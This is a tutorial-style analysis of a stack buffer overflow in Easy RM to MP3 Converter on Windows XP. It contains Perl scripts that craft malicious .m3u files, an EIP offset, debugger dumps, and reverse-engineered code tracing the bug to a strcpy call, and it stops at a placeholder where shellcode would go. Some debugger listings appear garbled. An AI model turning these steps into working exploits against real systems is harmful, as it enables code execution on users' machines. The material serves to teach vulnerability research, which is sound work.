

Stack Based Overflows 1

By ITh4cker

0x0 Analysis Environment

OS: Windows XP Sp3 v2002

Vulnerable Software: Easy RM to MP3 Converter(2.7.3.700)

Debugger: Windbg & Ollydbg


Other: IDA 6.6 Perl Python WinHex .

0x1 Analysis Process

I know that the easy RM to MP3 2.7.3.700 will be crashed when loading a crafted .m3u file,I will use the following perl script to create a .m3u file:


```
my $file= "crash.m3u";
my $junk= "\x41" x 10000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";
```

Run the perl script to create the m3u file. The fill will be filled with 10000 A's (\x41 is the hexadecimal representation of A) and open this m3u file with Easy RM to MP3.... The application throws an error, but it looks like the error is handled correctly and the application does not crash:



Modify the script to write a file with 20000 A's and try again. Same behaviour. (exception is

handled correctly, so we still could not overwrite anything usefull). Now change the script to write 30000 A's, create the m3u file and open it :



Boom..The applicatoon crashed and died.. so the application crashes if we feed it a file that contains between 20000 and 30000 A's.

Next Let me debug it in Windbg,before debugging we need to set windbg for the just-in-time debugger,so when the application crashed,you can debug it in windbg directly.What you need to do is run the command “windbg -l” in cmd:



Then let me restart the application and open the crash.m3u (30000A) again:

```
ModLoad: 7d800000 7d940000 C:\WINDOWS\system32\ipnapi.dll  
ModLoad: 72240000 72245000 C:\WINDOWS\system32\sensapi.dll  
(e40.dd8): Access violation - code c0000005 (!!! second chance !!!)  
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00c70000 esi=77c2fce0 edi=00007530  
eip=41414141 esp=000ffdc8 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216  
41414141 ??          ???  
0:000> d esp  
000ffd38  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA  
000ffd48  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA  
000ffd58  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA  
000ffd68  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA  
000ffd78  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA  
000ffd88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA  
000ffd98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA  
000fdda8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA
```

We see that the value of EIP is 41414141, obviously EIP has been overridden by our junk data..So we know when the length of junk data is between 20000 and 30000, it will cause the application crashed by overridden EIP. Then we need to determine the exact location of overriding EIP.

Let's try to narrow down the location by changing our perl script just a little .Here I used the method of dichotomy,which cut things in half .We'll create a file that contains 25000 A's and another 5000 B's. If EIP contains an 41414141 (AAAA), EIP sits between 20000 and 25000, and if EIP contains 42424242 (BBBB). EIP sits between 25000 and 30000:


```
my $file= "crash25000.m3u";
```

```

my $junk = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";

```

Create the file and open crash25000.m3u in Easy RM to MP3:



```

eax=00000001 ebx=00104a58 ecx=7c93003d edx=00c70000 esi=77c2fce0 edi=00007530
eip=42424242 esp=000fffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
42424242 ??              ???

```

The value of EIP is 42424242, so the location of EIP is between 25000 and 30000. Next we need to find the exact offset for overwriting EIP, here we need to use a unique pattern string to do that. How to create the unique string? You can use the tool `pattern_create.rb` in metasploit or writing python script to create (combine letters and numbers), here I used the latter, the python script is as follows:

```

#!/usr/bin/env python
import sys
try: length = int(sys.argv[1])
except: print("[+] Usage: %s <length> [set a] [set b] [set c]" % sys.argv[0]); sys.exit(1)
try: seta = sys.argv[2]
except: seta = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
try: setb = sys.argv[3]
except: setb = "abcdefghijklmnopqrstuvwxyz"
try: setc = sys.argv[4]
except: setc = "0123456789"
string = ""; a = 0; b = 0; c = 0
while len(string) < length:
    if len(sys.argv) == 2:
        string += seta[a] + setb[b] + setc[c]
        c += 1
        if c == len(setc): c = 0; b += 1
        if b == len(setb): b = 0; a += 1
        if a == len(seta): a = 0
    elif len(sys.argv) == 3:
        print("[!] Error, cannot work with just one set!")
        print("[+] Usage: %s <length> [set a] [set b] [set c]" % sys.argv[0]); sys.exit(1)
        sys.exit(1)
    elif len(sys.argv) == 4:
        string += seta[a] + setb[b]
        b += 1
        if b == len(setb): b = 0; a += 1
        if a == len(seta): a = 0

```

```

elif len(sys.argv) == 5:
    string += seta[a] + setb[b] + setc[c]
    c+=1
    if c == len(setc):c=0;b+=1
    if b == len(setb):b=0;a+=1
    if a == len(seta):a=0
else:
    print("[+] Usage: %s <length> [set a] [set b] [set c]" % sys.argv[0]); sys.exit(1)

```

Run the .py to create the pattern string and copy it to the perl script:

```

my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "put the 5000 characters here";
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";

```

Create the m3u file. open this file in Easy RM to MP3, wait until the application dies again, and take note of the contents of EIP:

```

ModLoad: 72240000 72245000 C:\WINDOWS\system32\sensapi.dll
(9a8.f90): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00c70000 esi=77c2fce0 edi=00007530
eip=306c4239 esp=000fffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
306c4239 ??          ???

```

The eip now is 0x306c4239(overwritten by 39 42 6c 30 (9BI0)) then search 9BI0 in the pattern string:

So 1112 is the offset of buffer needed for overwriting EIP .so if you create a file with 25000+1109 A's, and then add 4 B's (42 42 42 42 in hex) EIP should contain 42 42 42 42.

```
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023   es=0023  fs=003b  gs=0000             efl=00000216
42424242  ??          ???
0:000> d esp
000ffd38  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd48  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd58  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd68  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd78  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd88  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd98  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000fdda8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0:000> d esp -10
000ffd28  04 00 00 00 00 00 00-7c e0 72 03 00 00 00 00 .....|_r....
000ffd38  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd48  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd58  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd68  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd78  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd88  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ffd98  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
```


Yeah We overwrite the EIP successfully. And ESP points to our C buffer

Next, Let me show you **how the return-address on stack is overrided** (analyze the causes of the overflow by debugging and tracing).

First, Open the "RM2MP3Converter.exe" in Ollydbg, we can create a breakpoint on API CreateFileA for the main program will load the .m3u file (playlist file) click F9 for running and open the crash.m3u file, program stop at the entry point of CreateFileA as following:

地址	十六进制	ASCII	注释
7C801A20	8BFF		MOV EDI,EDI
7C801A2A	55		PUSH EBP
7C801A2B	8BEC		MOV EBP,ESP
7C801A2D	FF75 08		PUSH DWORD PTR SS:[EBP+8]
7C801A30	E8 CFC60000		CALL 7C80E104
7C801A35	85C0		TEST EAX,EAX
7C801A37	74 1E		JE SHORT 7C801A57
7C801A39	FF75 20		PUSH DWORD PTR SS:[EBP+20]
7C801A3C	FF75 1C		PUSH DWORD PTR SS:[EBP+1C]
7C801A3F	FF75 18		PUSH DWORD PTR SS:[EBP+18]
7C801A42	FF75 14		PUSH DWORD PTR SS:[EBP+14]
7C801A45	FF75 10		PUSH DWORD PTR SS:[EBP+10]
7C801A48	FF75 0C		PUSH DWORD PTR SS:[EBP+0C]
EIP=00000003			
EAX 000F594			
ECX 00000000			
EDX 003969F0			
EBX FFFFFFFF			
ESP 000F568			
EBP 000F580			
ESI 00000000			
EDI 00000003			
EIP 7C801A28 kernel32.CreateFileA			
C 1 ES 0023 32 0 (FFFFFFFF)			
P 0 CS 0018 32 0 (FFFFFFFF)			
A 1 SS 0023 32 0 (FFFFFFFF)			
Z 0 DS 0023 32 0 (FFFFFFFF)			
S 0 FS 003B 32 7FDF000 (FFF)			
T 0 GS 0000 NULL			
地址	十六进制	ASCII	注释
0043C000	E4 E9 DA 77 7B 79 DA 77 08 C2 DC 77 FC EF DA 77	CALL 7C80E104
0043C010	5D 8B DC 77 42 78 DA 77 AB 7A DA 77 D7 EA DA 77	CALL 7C80E104
0043C020	17 6C DA 77 00 00 00 00 F4 C7 17 5D F8 1F 18 5D	CALL 7C80E104
0043C030	9A 22 1A 5D 78 D5 17 5D F1 DF 18 5D 26 12 19 5D	CALL 7C80E104
0043C040	00 00 00 00 79 6F EF 77 78 5B EF 77 89 9E EF 77	CALL 7C80E104
0043C050	38 88 EF 77 3C 87 EF 77 16 8D EF 77 9B 86 EF 77	CALL 7C80E104
0043C060	37 65 F2 77 18 82 EF 77 3F BA EF 77 A5 61 EF 77	CALL 7C80E104
0043C070	B2 49 F2 77 7C 77 F0 77 C1 61 EF 77 FA 6B EF 77	CALL 7C80E104
0043C080	20 5E EF 77 EF 61 EF 77 4D 5A EF 77 8A 0F EF 77	CALL 7C80E104
Command: Op CreateFileA			

Then press the combination "Alt + F9" to run to the user code :

地址	十六进制	ASCII	注释
0041B99F	85C0		TEST EAX,EAX
0041B9A1	0F85 4803000		JNZ 0041BCEF
0041B9A7	68 84734400		PUSH 00447384
0041B9AC	55		PUSH EBP
0041B9AD	FF15 20C7430		CALL DWORD PTR DS:[<&MSVCRT.fopen>]
0041B9B3	8BF0		MOV ESI,EAX
0041B9B5	83C4 08		ADD ESP,8
0041B9B8	85F6		TEST ESI,ESI
0041B9BA	75 0D		JNZ SHORT 0041B9C9

mode = "rb"
path
fopen
msvcrt.77C2FCE0

Run with F8(step over) and it come here:

地址	十六进制	ASCII	注释
0041BCFE	6A 02		PUSH 2
0041BCF1	8BCB		MOV ECX,EBX
0041BCF3	E8 38D0FFFF		CALL 00418D30
0041BCF8	55		PUSH EBP
0041BCF9	8BCB		MOV ECX,EBX
0041BCFB	E8 B0250000		CALL 0041E2B0
0041BD00	5F		POP EDI
0041BD04	CC		RET

CrashFunction

I found when I step over the call 0041E280, it crashed (the return-address is overrided). Then I will restart the program and step into the CrashFunction for deeper debugging: (Only display the vital code)

地址	十六进制	ASCII	注释
0041E2B0	B8 18890000		MOV EAX,8918
0041E2B5	E8 C6940100		CALL 00437780
0041E2BA	53		PUSH EBX
0041E2BB	55		PUSH EBP
0041E2BC	8BAC24 2489		MOV EBP,DWORD PTR SS:[ESP+8924]
0041E2C3	8BD9		MOV EBX,ECX
0041E2C5	56		PUSH ESI
0041E2C6	57		PUSH EDI
0041E2C7	85ED		TEST EBP,EBP
0041E2C9	895C24 10		MOV DWORD PTR SS:[ESP+10],EBX
0041E2CD	C74424 18 0		MOV DWORD PTR SS:[ESP+18],0
EAX=00000001			
局部调用来自 0041BCFB, 0041F25C			
地址	十六进制	ASCII	注释
0043C000	E4 E9 DA 77 7B 79 DA 77 08 C2 DC 77 FC EF DA 77	CALL 7C80E104
0043C010	5D 8B DC 77 42 78 DA 77 AB 7A DA 77 D7 EA DA 77	CALL 7C80E104
0043C020	17 6C DA 77 00 00 00 00 F4 C7 17 5D F8 1F 18 5D	CALL 7C80E104
0043C030	9A 22 1A 5D 78 D5 17 5D F1 DF 18 5D 26 12 19 5D	CALL 7C80E104
0043C040	00 00 00 00 79 6F EF 77 78 5B EF 77 89 9E EF 77	CALL 7C80E104
0043C050	38 88 EF 77 3C 87 EF 77 16 8D EF 77 9B 86 EF 77	CALL 7C80E104
0043C060	37 65 F2 77 18 82 EF 77 3F BA EF 77 A5 61 EF 77	CALL 7C80E104
0043C070	B2 49 F2 77 7C 77 F0 77 C1 61 EF 77 FA 6B EF 77	CALL 7C80E104
0043C080	20 5E EF 77 EF 61 EF 77 4D 5A EF 77 8A 0F EF 77	CALL 7C80E104
Command: Op CrashFunction			

Look the figure above,the return address 0041BD00 will be overridden at last. And let us remember the current stack address 000FF688.
Then come here:



It call the function Playlist_Create,which is exported by the loaded dll "MSRMfilter03.dll" Let me see the detail of this function:

```

IDA View-A | Occurrences of: m3u | Pseudocode-A | Stack of sub_10023D
1 int __cdecl Playlist_Create(char *a1, int a2, int a3)
2 {
3     LPVOID v3; // eax@5
4     int result; // eax@8
5     LPVOID v5; // eax@9
6
7     sub_10008DE0(5, aDebugPlaylist_, aMpf2_0Mplayer, 110);
8     if ( a1 && a3 )
9     {
10         dword_1004D624 = 0;
11         dword_1004D620 = a2;
12         dword_1006967C = sub_10002410(); // Allocate 12bytes'
13         dword_1004D738 = 0;
14         dword_1004D5F8 = 0;
15         if ( dword_10069678 )
16             sub_10005A20(dword_10069678, 1);
17         v3 = sub_100087C0(a1);
18         dword_10069678 = v3;
19         if ( dword_1004D620 == 2 )
20         {
21             *(_DWORD *)a3 = dword_1004D624;
22         }
23         else
24         {
25             if ( !v3 )
26             {
27                 sub_10008DE0(1, aErrorPlaylist_, aMpf2_0Mplayer, 136);
28                 return 0x84;
29             }
30             v5 = sub_10006190((int)v3, (int)dword_1006967C);
31             dword_1004D600 = v5;
32             if ( v5 )

```

The call on line 17 return a structure pointer **v3** on Heap memory,which contains the vital parsing information, and the function sub_10006910() realloc the Heapmemory, initializing which with the input arguments and return a inited structure pointer **v5** , then assign it to the globl memory pointer **dword_1004D600**,which will be used in the function **Playlist_FindNextItem**.

Because the functions' count is large and itself is complex, Let us trace the clues by the input(args)

and output(return) and we only need read the key function even the instruction or instatement(thanks to IDA's Cross Reference):

Inside sub_100087c0:

```
1 LPVOID __cdecl sub_100087C0(char *a1)
2 {
3     // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
4
5     v5 = 0x20000;
6     v1 = sub_1000A3B0(a1, 0, (int)&v5);
7     if ( v1 )
8     {
9         sub_1000EE0(27, 6, aParsingPlaylis, a1);
10        if ( dword_1004D620 == 2 )
11        {
12            if ( *(_DWORD *)(v1 + 2444) )
13                dword_1004D624 = 3;
14            sub_1000A2A0(v1);
15            result = 0;
16        }
17        else
18        {
19            v4 = sub_100085C0(v1, 1);           // vital function
20            sub_1000A2A0(v1);
21            sub_10008600(v4, a1);
22            result = v4;
23        }
24    }
25    else
26    {
27        v2 = strerror(dword_10053240);
28        sub_1000EE0(27, 1, aErrorWhileOpen, a1, v2);
29        result = 0;
30    }
31}
```

Let us see the sub_100085c0:

```
1 LPVOID __cdecl sub_100085C0(int a1, int a2)
2 {
3     LPVOID result; // eax@1
4     LPVOID v3; // esi@1
5     void *v4; // edi@2
6
7     result = sub_10008870(a1, 0);           // 32bytes's Heapmemory
8     v3 = result;
9     if ( result )
10    {
11        v4 = sub_100088D0((int)result, a2); // parsing the playlist
12        sub_100088A0(v3);
13        result = v4;
14    }
15    return result;
16}
```

It first called sub_10008870 to allocat a 32bytes' heapmemory and initialize it with input args:

地址	十六进制	汇编	寄存器
00D085C4	56	PUSH ESI	EAX 00C806B0
00D085C5	6A 00	PUSH 0	ECX 00C82020
00D085C7	50	PUSH EAX	EDX 00000000
00D085C8	E8 A3020000	CALL 00D08870	EBX 003942B8 ASCII "C:
00D085CD	8BF0	MOV ESI,EAX	ESP 000F6D14
00D085CF	83C4 08	ADD ESP,8	EBP 003942B8 ASCII "C:
00D085D2	85F6	TEST ESI,ESI	ESI 00C82020
00D085D4	75 02	JNZ SHORT 00D085D8	EDI 003942B8 ASCII "C:
00D085D6	5E	POP ESI	EIP 00D085CD MSRMfilt.
00D085D7	C3	RETN	
00D085D8	8B4C24 0C	MOV ECX,DWORD PTR SS:[ESP+C]	C 0 ES 0023 32 位 0(F
00D085DC	57	PUSH EDI	P 0 CS 001B 32 位 0(F
00D085DD	51	PUSH ECX	A 0 SS 0023 32 位 0(F
00D085DE	56	PUSH ESI	Z 0 DS 0023 32 位 0(F
00D085E0	50	CALL 00D08870	S 0 FS 003B 32 位 7FF
EAX=00C806B0			T 0 GS 0000 NULL
ESI=00C82020			

地址	十六进制	ASCII	地址	值
00C806B0	20 20 C8 00 00 00 00 00 00 00 00 00 00 00 00 00	?.....	000F6D14	0
00C806C0	00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00f	000F6D18	0
00C806D0	CA 00 05 00 6C 00 20 00 68 6F C8 00 78 01 C8 00	?Y.l..ho?x	000F6D1C	0
00C806E0	6D 33 75 2E 2E 2E 0A 00 20 3F 3F 3F 20 28 70 72	m3u..... ??? (pr	000F6D20	0

Then calling the parsing function sub_100088D0() to parse playlist:

```

1 void *__cdecl sub_100088D0(int a1, int a2)
2 {
3     LPVOID v2; // esi@1
4
5     v2 = 0;
6     if ( !sub_100077F0(a1) )
7         goto LABEL_17;
8     sub_100089E0(a1);
9     v2 = sub_100075C0(a1);
10    if ( !v2 )
11    {
12        sub_100089E0(a1);
13        v2 = (LPVOID)sub_100079F0(a1); // winamp .pla
14        if ( !v2 )
15        {
16            sub_100089E0(a1);
17            v2 = sub_10007F70(a1); // extm3u .m3u
18            if ( !v2 )
19            {
20                sub_100089E0(a1);
21                v2 = (LPVOID)sub_10007E40(a1); // reference-ini .pls
22                if ( !v2 )
23                {
24                    sub_100089E0(a1);
25                    v2 = (LPVOID)sub_10008060(a1); // .smil
26                    if ( !v2 )
27                    {
28                        sub_100089E0(a1);
29                        if ( a2 )

```

It parse different kinds of playlist including our .m3u playlist. Let us look inside the sub_10007f70():

The key place inside sub_10007f79() is :

```

36     v6 = (int)sub_10005950(); // Allocate 32bytes' heapmemory for structure
37     sub_10005B40(v6, (char *)v5); // structure's final assignment
38     if ( v1 )

```

Allocate a 32bytes' heapmemory for structure and call sub_10005B40 for final structure's member writing

Inside sub_10005B40, the key location is :

```

194     v20 = sub_10023750(v17, 4 * v21 + 8); // Resize the Heap
195     *(_DWORD *)(a1 + 24) = v20;
196     if ( v20 )
197     {
198         *(_DWORD *)((_DWORD *) (a1 + 24) + 4 * v21) = strdup(a2);
199         *(_DWORD *)((_DWORD *) (a1 + 24) + 4 * v21 + 4) = 0;
200         *(_DWORD *) (a1 + 28) = 3;

```

地址	十六进制	反汇编	注释
00D05FF6	- 51	PUSH ECX	
00D05FF7	- E8 54D70100	CALL 00D23750	
00D05FFC	- 83C4 08	ADD ESP,8	
00D05FFF	- 8947 18	MOV DWORD PTR DS:[EDI+18],EAX	
00D06002	- 85C0	TEST EAX,EAX	
00D06004	- 75 1D	JNZ SHORT 00D06023	
00D06006	- 56	PUSH ESI	
00D06007	- 68 148DD300	PUSH 00D38D14	ASCII "Can't a
00D0600C	- 6A 01	PUSH 1	
00D0600E	- 6A 1B	PUSH 1B	
00D06010	- E8 CB2E0000	CALL 00D08EE0	

And next ,assign a2(which points the our input test data) to the first dword of heap memory and 0 to the second dword of heap memory.

00D06023	> 53	PUSH EBX
00D06024	. E8 24880200	CALL 00D2E84D
00D06029	. 8B4F 18	MOV ECX,DWORD PTR DS:[EDI+18]
00D0602C	. 83C4 04	ADD ESP,4
00D0602F	. 8904A9	MOV DWORD PTR DS:[ECX+EBP*4],EAX
00D06032	. 8B57 18	MOV EDX,DWORD PTR DS:[EDI+18]
00D06035	. C744AA 04 00	MOV DWORD PTR DS:[EDX+EBP*4+4],0
00D0603D	. C747 1C 0300	MOV DWORD PTR DS:[EDI+1C],3
00D06044	> 5F	POP EDI
00D06045	. 5E	POP ESI

地址	十六进制	ASCII
00C80668	98 ED F3 02 00 00 00 00	梅?.....
00C80678	03 00 03 00 44 01 08 00	...D.C:\crash
00C80688	2E 6D 33 75 00 79 65 72	.m3u.yer...Y
00C80698	43 3A 5C 63 72 61 73 68	C:\crash.m3u.ce:
00C806A8	05 00 03 00 5E 01 08 00	Y.^...?H?
00C806B8	48 00 F3 02 50 78 F3 02	H.?Px?.x.....
00C806C8	00 00 00 00 00 00 00 00Y0
00C806D8	00 00 00 00 00 00 00 00
00C806E8	00 00 00 00 00 00 00 00h?yyyy
00C806F8	00 00 00 00 00 00 00 00

地址	十六进制	ASCII
02F3ED98	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
02F3ED98	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
02F3EDB8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
02F3EDC8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
02F3EDD8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
02F3EDE8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
02F3EDF8	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA
02F3EE08	41 41 41 41 41 41 41 41 41 41 41 41 41 41 41	AAAAAAAAAAAAAAAAAAAA

Then what you need to note is that it will add the string "C:\"(parent of .m3u file) to the front of our input data:

7	03E1 00	REP MOV BYTE PTR ES:[EDI], BYTE PTR DS:[ESI]
8	F3:A4	REP MOV BYTE PTR ES:[EDI], BYTE PTR DS:[ESI]
9	8B7424 10	MOV ESI, DWORD PTR SS:[ESP+10]
0	8B45 18	MOV EAX, DWORD PTR SS:[EBP+18]
3	43	INC EBX
4	833C98 00	CMP DWORD PTR DS:[EAX+EBX*4], 0
3	0F85 52FFFF	JNZ 00D086C0
3	5F	POP EDI
3	5E	POP ESI
0	5D	POP EBP
1	5B	POP EBX
2	59	POP ECX
3	C3	RETN

十六进制	ASCII
43 3A 5C	C:\AAAAAAAAAAAAAAAA


I found that when the entry in the playlist isn't a web audio or video link and has no any path but a filename, it will parse the location where the .m3u locate as the relative path, I googled the .m3u format, it is really what I found in wikipedia:

An M3U file is a [plain text](#) file that specifies the locations of one or more media files. The file is saved with the "M3U" or "m3u" [filename extension](#).


Each entry carries one specification. The specification can be any one of the following:

- an *absolute local pathname*; e.g., C:\My Music\Heavysets.mp3
- a *local pathname* relative to the M3U file location; e.g. Heavysets.mp3
- a [URL](#).

the basic stack overflow like as following:



In my test instance , the .m3u file is in path "C:\"(4 bytes) and the bytes copied from src to des are `0x1D4D(30004d = "C:\" + 30000 + ")` We can calc the distance between `0xF9088` and `0xFF688` .it's `0x6600(26112d)` .so in my test ,the offset from the beginning of junk data that before overwriting the returned address is `26112 - 3 = 26109`.**yeah ,haha,it equals to the former result we calcdated with py script.** In conclusion,if the length of the path of .m3u (including the terminal NULL-byte) + the size of junk data = 26112,then you can override the `ret_addr` by adding a dword next to the junk data:(**the premise is that you only fill junk data in .m3u without any path**)



And finally, complete the first part of parsing, assign the heapmemory pointer to the `dword_1004D600` :

00D08C4B	. 52	PUSH EDI	
00D08C4C	. 50	PUSH EAX	
00D08C4D	. E8 3ED5FFFF	CALL 00D06190	
00D08C52	. 83C4 08	ADD ESP,8	
00D08C55	. 3BC6	CMP EAX,ESI	
00D08C57	. A3 00D6D400	MOV DWORD PTR DS:[D4D600],EAX	
00D08C5C	. 74 24	JE SHORT 00D08C82	
00D08C5E	. 56	PUSH ESI	
00D08C5F	. 56	PUSH ESI	
00D08C60	. 50	PUSH EAX	
00D08C61	. E8 AAD5FFFF	CALL 00D06210	
00D08C66	. 83C4 0C	ADD ESP,0C	
00D08C69	. 83F8 01	CMP EAX,1	
00D08C6C	. 74 14	JE SHORT 00D08C82	
00D08C6E	. A1 00D6D400	MOV EAX,DWORD PTR DS:[D4D600]	

EAX=00C80698
DS:[00D4D600]=00000000

地址	十六进制	ASCII
00C80698	10 07 C8 00	???.P?....
00C806A8	00 00 00 00
00C806B8	00 00 00 00
00C806C8	00 00 00 00
00C806D8	10 07 C8 00	???.P?....
00C806E8	00 00 00 00

In the second part of Parsing,it mainly call the function Playlist_FindNextItem:

0041E308	. B9 80080000	MOV ECX,800	
0041E30D	. 33C0	XOR EAX,EAX	
0041E30F	. 8DB024 2867	LEA EDI,DWORD PTR SS:[ESP+6728]	
0041E316	. F3:AB	REP STOS DWORD PTR ES:[EDI]	
0041E318	. 8DB024 2823	LEA ECX,DWORD PTR SS:[ESP+2828]	
0041E31F	. 51	PUSH ECX	
0041E320	. FF93 726400	CALL DWORD PTR DS:[EBX+6472]	MSRMfilt.Playlist_FindNextItem
0041E326	. 83C4 04	ADD ESP,4	
0041E329	. 85C0	TEST EAX,EAX	
0041E32B	. 74 0F84 D10500	JE 0041E9D2	
0041E330	. BF B4734400	MOV EDI,004473B4	ASCII "PNH"
0041E336	. 83C9 FF	OR ECX,FFFFFFFF	
0041E339	. 33C0	XOR EAX,EAX	
0041E33B	. F2:AE	REPNE SCAS BYTE PTR ES:[EDI]	

堆栈 DS:[0010AEC4]=00D08D40 (MSRMfilt.Playlist_FindNextItem)

Let us see inside Playlist_FindNextItem:

1	signed int __cdecl Playlist_FindNextItem(char *a1)
2	{
3	int v1; // eax@1
4	signed int result; // eax@2
5	
6	sub_10008DE0(5, aDebugPlaylis_3, aDmpf2_0Mplayer, 192);
7	v1 = sub_10006850((int)dword_1004D600, 1);
8	if (v1)
9	{
10	strcpy(a1, (const char *)v1);

We see our familiar `dword_1004D600`,and `strcpy` calling(unsafe). It is the `strcpy` that caused the stack overflow? Yeah..haha you are right! it first called `sub_10006850` to retrieve the first non-zero pointer,which points to our entries in playlist.

Assembly code snippet:

```

MOV ESI, EDI
MOV EDI, DWORD PTR SS:[ESP+14]
PUSH 00039520
SUB ECX, 2
REP MOVSD PTR ES:[EDI], DWORD PTR DS:[ESI]
MOV ECX, EDI
PUSH 5
AND ECX, 3
REP MOVSD PTR ES:[EDI], BYTE PTR DS:[ESI]
CALL 00008DE0
ADD ESP, 10
MOV EAX, 1
POP EDI

```

Registers window:

ECX	00001D4D
EDX	00000534
EBX	00104A58
ESP	000F6D4A
EBP	003942B8
ESI	002F3D98
EDI	000F9088
EIP	00009089

ECX = 00001D4D (十进制 7501.)

DS:[ESI] = [02F3D98] = 415C3A43

Address: 000F9088, Value: 00000000

As the figure shows, the returned address has been overwritten, of course I just debug it by a test,

```

struct dword_1004D600
+0x0
+0x4    &struct_1
+0x8
+0xC
+0x10   index
+0x14   count
+0x18
+0x1c   -1 or 3
struct struct_1
+0x0
+0x4
+0x8
+0xC
+0x10
+0x14
+0x18   EntryArray[] //Pointer Array,store the pointer to the entry in playlist
+0x1C

```

Next I will show you how to point EIP to shellcode: make a *test* first(overwrite EIP with "BBBB" and see where ESP points to)

```
my $file= "test1.m3u";
my $junk= "A" x 26109;
my $eip = "BBBB";
my $shellcode = "1ABCDEFHGIJK2ABCDEFHGIJK3ABCDEFHGIJK4ABCDEFHGIJK" .
"5ABCDEFHGIJK6ABCDEFHGIJK" .
"7ABCDEFHGIJK8ABCDEFHGIJK" .
"9ABCDEFHGIJKAABCDEFHGIJK".
"BABCDEFHGIJKCABCDEFHGIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
```

Open file and dump memory at the location ESP:

```
ModLoad: 02600000 02612000 C:\Program Files\Easy RM to MP3 Converter\MSLog.dll
(5e0.9ec): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00c70000 esi=77c2fce0 edi=00006667
eip=42424242 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
42424242 ???             ???
0:000> d esp
000ffd38 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47  DEFGHIJK2ABCDEF
000ffd48 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b  HIJK3ABCDEFHGIJK
000ffd58 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43  4ABCDEFHGIJK5ABC
000ffd68 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47  DEFGHIJK6ABCDEF
000ffd78 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b  HIJK7ABCDEFHGIJK
